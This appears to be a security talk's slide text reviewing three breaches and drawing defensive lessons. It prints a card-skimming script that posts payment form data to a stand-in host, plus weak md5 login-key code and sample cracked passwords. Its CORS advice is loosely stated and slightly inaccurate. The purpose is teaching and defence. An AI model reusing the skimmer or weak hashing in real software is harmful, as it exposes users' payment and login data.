Danielle Adams | @adamzdanielle
It is not the practice of keeping unauthorized parties out.
It is to make an attack too costly or
time-consuming to be worth the effort.
(Fake names are used because we aren't here to shame anyone.)
In March 2017, a vulnerability in a Java web framework was discovered, exposing an n-day vulnerability.
The vulnerability allowed remote code to execute when passed into Content-Type, Content-Disposition, and Content-Length headers.
145.5 million people's sensitive data was accessed by an unauthorized third-party.
The confidentiality of the user data had been breached.
Running an analysis on the code for issues without executing it. Issues may include bugs at runtime and dependency vulnerabilities.
Different tools scan for different issues: ESLint and Typescript are both examples.
Analyze source code to look for libraries that may have known vulnerabilities.
Best tools have high true positive rate, low false positive rate, and integrate well with workflows.
In September 2015, a data dump containing user data found online was confirmed to belong to the site.
Not long after, a second dump was released with internal emails and source code for their websites.
The dump appeared to be a lost cause because the passwords were encrypted and stored with BCrypt.
BCrypt is a hashing algorithm that, at its best, is incredibly slow to perform. It would have taken years and expensive resources to perform an attack on the password hash list.
a1bfe34
01bbf82
de9283c
3482498
mypassword
hello5
spot1234
danielle18
code run to look for matches
$username = !empty($Values['username_suggest']) ? $Values['username_suggest'] : $Values['username'];
$password = User::encryptPassword($Values['password']);
$password = $Values['password'];
$loginkey = md5(strtolower($username).'::'.strtolower($password));
Entire profiles of 37 million users, including names, email addresses, phone numbers, credit card numbers, profile descriptions, weight and height, were released. This would not have happened if the second password hashing had not been created.
Confidentiality was imposed on, but, most importantly, privacy of users was also breached.
Confidentiality refers to data, privacy refers to the person. It is just as important as CIA.
An attack on someone's privacy can put their emotions or life in immediate risk.
$username = !empty($Values['username_suggest']) ? $Values['username_suggest'] : $Values['username'];
$password = User::encryptPassword($Values['password']);
$password = $Values['password'];
$loginkey = md5(strtolower($username).'::'.strtolower($password));
Work with security teams and engineers to create features and products that are secure by design.
In late 2018, there were reports that JavaScript assets may have been tampered with for the airline's desktop and mobile app.
window.onload = function() {
jQuery("#submitButton").bind("mouseup touchend", function(a) {
var n = {};
jQuery("#paymentForm").serializeArray().map(function(a) {
n[a.name] = a.value;
});
var e = document.getElementByID("personPaying").innerHTML;
n.person = e;
var t = JSON.stringify(n);
setTimeout(function() {
jQuery.ajax({
type: "POST",
async: !0,
url: "https://fakeaways.com/gateway/app/dataprocessing/api",
data: t,
dataType: "application/json"
});
});
});
}
An external analysis of the code concluded that it was likely a Stored Cross-Site Scripting (XSS) attack.
The malicious code had been appended to one of the airline's JavaScript files that contained an
open-sourced library used for their own distribution.
XSS is #7 on the top vulnerabilities released by the Open Web Application Security Project (OWASP).
Browsers don't have a secure default, so it is up to the developer to create a safe experience.
380 thousand users had their personal and financial details stolen while booking and updating reservations during a span of 15 days.
While it was a case of stolen data, the integrity of the website had also been compromised.
While the airline never publicly described the attack, a strict Cross-Origin Resource Sharing (CORS) policy may have helped.
By creating a CORS policy with a trusted white list, the client is adhering to the design principle of secure default.
// CORS header
// don't do this in the original request
"Access-Control-Allow-Origin": "*"
// do this instead
"Access-Control-Allow-Origin": "https://*.realairways.com"
Understand what the browser and what your protocol (ie. HTTP) can offer in terms of security.
This is always changing.
Use failures as an opportunity to create better software.
Danielle Adams | @adamzdanielle